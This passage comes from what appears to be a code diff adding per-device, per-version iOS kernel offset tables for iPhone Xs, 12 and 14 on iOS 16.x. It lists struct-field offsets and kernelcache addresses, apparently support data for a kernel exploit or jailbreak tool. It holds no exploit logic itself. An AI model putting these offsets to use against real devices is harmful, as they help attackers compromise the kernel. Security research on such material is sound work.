8, + .thread__map = 0x378, + .thread__thread_id = 0x410, + .thread__object_size = 0x4b8, + .uthread__object_size = 0x200, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0xc0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a545ab0, + .kernelcache__gPhysBase = 0xfffffff0079442a8, + .kernelcache__gPhysSize = 0xfffffff0079442a8 + 8, + .kernelcache__gVirtBase = 0xfffffff007942460, + .kernelcache__perfmon_devices = 0xfffffff00a585550, + .kernelcache__perfmon_dev_open = 0xfffffff007f1508c, + .kernelcache__ptov_table = 0xfffffff0078f79c8, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a584910, + .kernelcache__vm_pages = 0xfffffff0078f4108, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078f6968, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a584908, + .kernelcache__vn_kqfilter = 0xfffffff007f63be0, + }, + /**************** End iPhone 12 Series ***********************/ + + + /**************** iPhone Xs Series ***********************/ + //iPhone Xs, iOS 16.2 + { + .kern_version = "Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:15 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8020", + .fileglob__fg_ops = 0x0, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0x0, + .proc__object_size = 0x538, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x628, + .thread__task_threads__next = 0x368 - 0x18, + .thread__task_threads__prev = 0x368 - 0x18 + 8, + .thread__map = 0x368, + .thread__thread_id = 0x400, + .thread__object_size = 0x4a8, + .uthread__object_size = 0xfffffffffffffb58, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0x0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a235178, + .kernelcache__gPhysBase = 0xfffffff00781fc60, + .kernelcache__gPhysSize = 0xfffffff00781fc60 + 8, + .kernelcache__gVirtBase = 0xfffffff00781de40, + .kernelcache__perfmon_devices = 0xfffffff00a270380, + .kernelcache__perfmon_dev_open = 0xfffffff007e773ac, + .kernelcache__ptov_table = 0xfffffff0077d3248, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a26f800, + .kernelcache__vm_pages = 0xfffffff0077d0080, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077d2208, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a26f7f8, + .kernelcache__vn_kqfilter = 0xfffffff007ec9a44, + }, + + //iPhone Xs, iOS 16.3 + { + .kern_version = "Darwin Kernel Version 22.3.0: Wed Jan 4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020", + .fileglob__fg_ops = 0x0, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0x0, + .proc__object_size = 0x538, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x628, + .thread__task_threads__next = 0x368 - 0x18, + .thread__task_threads__prev = 0x368 - 0x18 + 8, + .thread__map = 0x368, + .thread__thread_id = 0x400, + .thread__object_size = 0x4a8, + .uthread__object_size = 0xfffffffffffffb58, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0x0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a239178, + .kernelcache__gPhysBase = 0xfffffff00781bd48, + .kernelcache__gPhysSize = 0xfffffff00781bd48 + 8, + .kernelcache__gVirtBase = 0xfffffff007819f28, + .kernelcache__perfmon_devices = 0xfffffff00a274380, + .kernelcache__perfmon_dev_open = 0xfffffff007e77398, + .kernelcache__ptov_table = 0xfffffff0077cf288, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a273800, + .kernelcache__vm_pages = 0xfffffff0077cc0c0, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ce248, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2737f8, + .kernelcache__vn_kqfilter = 0xfffffff007ec9a20, + }, + + //iPhone Xs, iOS 16.3.1 + { + .kern_version = "Darwin Kernel Version 22.3.0: Wed Jan 4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020", + .fileglob__fg_ops = 0x0, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0x0, + .proc__object_size = 0x538, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x628, + .thread__task_threads__next = 0x368 - 0x18, + .thread__task_threads__prev = 0x368 - 0x18 + 8, + .thread__map = 0x368, + .thread__thread_id = 0x400, + .thread__object_size = 0x4a8, + .uthread__object_size = 0xfffffffffffffb58, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0x0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a239178, + .kernelcache__gPhysBase = 0xfffffff00781bd48, + .kernelcache__gPhysSize = 0xfffffff00781bd48 + 8, + .kernelcache__gVirtBase = 0xfffffff007819f28, + .kernelcache__perfmon_devices = 0xfffffff00a274380, + .kernelcache__perfmon_dev_open = 0xfffffff007e77398, + .kernelcache__ptov_table = 0xfffffff0077cf288, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a273800, + .kernelcache__vm_pages = 0xfffffff0077cc0c0, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ce248, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2737f8, + .kernelcache__vn_kqfilter = 0xfffffff007ec9a20, + }, + + //iPhone Xs, iOS 16.4 + { + .kern_version = "Darwin Kernel Version 22.4.0: Mon Mar 6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020", + .fileglob__fg_ops = 0x28, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0xf8, + .proc__object_size = 0x730, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x628, + .thread__task_threads__next = 0x368 - 0x18, + .thread__task_threads__prev = 0x368 - 0x18 + 8, + .thread__map = 0x368, + .thread__thread_id = 0x400, + .thread__object_size = 0x4a8, + .uthread__object_size = 0x200, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0xc0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a309208, + .kernelcache__gPhysBase = 0xfffffff0078f7fa0, + .kernelcache__gPhysSize = 0xfffffff0078f7fa0 + 8, + .kernelcache__gVirtBase = 0xfffffff0078f6178, + .kernelcache__perfmon_devices = 0xfffffff00a347500, + .kernelcache__perfmon_dev_open = 0xfffffff007e99a88, + .kernelcache__ptov_table = 0xfffffff0078ab160, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a346990, + .kernelcache__vm_pages = 0xfffffff0078a7ea8, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078aa110, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a346988, + .kernelcache__vn_kqfilter = 0xfffffff007ee863c, + }, + + //iPhone Xs, iOS 16.4.1 + { + .kern_version = "Darwin Kernel Version 22.4.0: Mon Mar 6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020", + .fileglob__fg_ops = 0x28, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0xf8, + .proc__object_size = 0x730, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x628, + .thread__task_threads__next = 0x368 - 0x18, + .thread__task_threads__prev = 0x368 - 0x18 + 8, + .thread__map = 0x368, + .thread__thread_id = 0x400, + .thread__object_size = 0x4a8, + .uthread__object_size = 0x200, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0xc0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a309208, + .kernelcache__gPhysBase = 0xfffffff0078f7fa0, + .kernelcache__gPhysSize = 0xfffffff0078f7fa0 + 8, + .kernelcache__gVirtBase = 0xfffffff0078f6178, + .kernelcache__perfmon_devices = 0xfffffff00a347500, + .kernelcache__perfmon_dev_open = 0xfffffff007e99a88, + .kernelcache__ptov_table = 0xfffffff0078ab160, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a346990, + .kernelcache__vm_pages = 0xfffffff0078a7ea8, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078aa110, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a346988, + .kernelcache__vn_kqfilter = 0xfffffff007ee863c, + }, + + //iPhone Xs, iOS 16.5 + { + .kern_version = "Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:51 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8020", + .fileglob__fg_ops = 0x28, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0xf8, + .proc__object_size = 0x730, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x628, + .thread__task_threads__next = 0x368 - 0x18, + .thread__task_threads__prev = 0x368 - 0x18 + 8, + .thread__map = 0x368, + .thread__thread_id = 0x400, + .thread__object_size = 0x4a8, + .uthread__object_size = 0x200, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0xc0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a311288, + .kernelcache__gPhysBase = 0xfffffff0078fc0e0, + .kernelcache__gPhysSize = 0xfffffff0078fc0e0 + 8, + .kernelcache__gVirtBase = 0xfffffff0078fa2b8, + .kernelcache__perfmon_devices = 0xfffffff00a34f500, + .kernelcache__perfmon_dev_open = 0xfffffff007e9dc8c, + .kernelcache__ptov_table = 0xfffffff0078af160, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a34e990, + .kernelcache__vm_pages = 0xfffffff0078abea8, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078ae110, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a34e988, + .kernelcache__vn_kqfilter = 0xfffffff007eecad8, + }, + + //iPhone Xs, iOS 16.6b1 + { + .kern_version = "Darwin Kernel Version 22.6.0: Tue May 9 06:18:00 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8020", + .fileglob__fg_ops = 0x28, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0xf8, + .proc__object_size = 0x730, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x628, + .thread__task_threads__next = 0x368 - 0x18, + .thread__task_threads__prev = 0x368 - 0x18 + 8, + .thread__map = 0x368, + .thread__thread_id = 0x400, + .thread__object_size = 0x4a8, + .uthread__object_size = 0x200, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0xc0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a3e5ab0, + .kernelcache__gPhysBase = 0xfffffff007914288, + .kernelcache__gPhysSize = 0xfffffff007914288 + 8, + .kernelcache__gVirtBase = 0xfffffff007912440, + .kernelcache__perfmon_devices = 0xfffffff00a425530, + .kernelcache__perfmon_dev_open = 0xfffffff007ec2434, + .kernelcache__ptov_table = 0xfffffff0078c79a0, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a424910, + .kernelcache__vm_pages = 0xfffffff0078c40f8, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078c6950, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a424908, + .kernelcache__vn_kqfilter = 0xfffffff007f10c44 + }, + + /**************** End iPhone Xs Series ***********************/ + + /**************** iPhone 14 Series ***********************/ + + //iPhone 14, iOS 16.2 + { + .kern_version = "Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:56 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8110", + .fileglob__fg_ops = 0x0, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0x0, + .proc__object_size = 0x538, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x648, + .thread__task_threads__next = 0x380 - 0x18, + .thread__task_threads__prev = 0x380 - 0x18 + 8, + .thread__map = 0x380, + .thread__thread_id = 0x420, + .thread__object_size = 0x4c8, + .uthread__object_size = 0xfffffffffffffb38, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0x0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a359190, + .kernelcache__gPhysBase = 0xfffffff0078540c8, + .kernelcache__gPhysSize = 0xfffffff0078540c8 + 8, + .kernelcache__gVirtBase = 0xfffffff0078522a8, + .kernelcache__perfmon_devices = 0xfffffff00a3943b0, + .kernelcache__perfmon_dev_open = 0xfffffff007eccfa8, + .kernelcache__ptov_table = 0xfffffff007807370, + 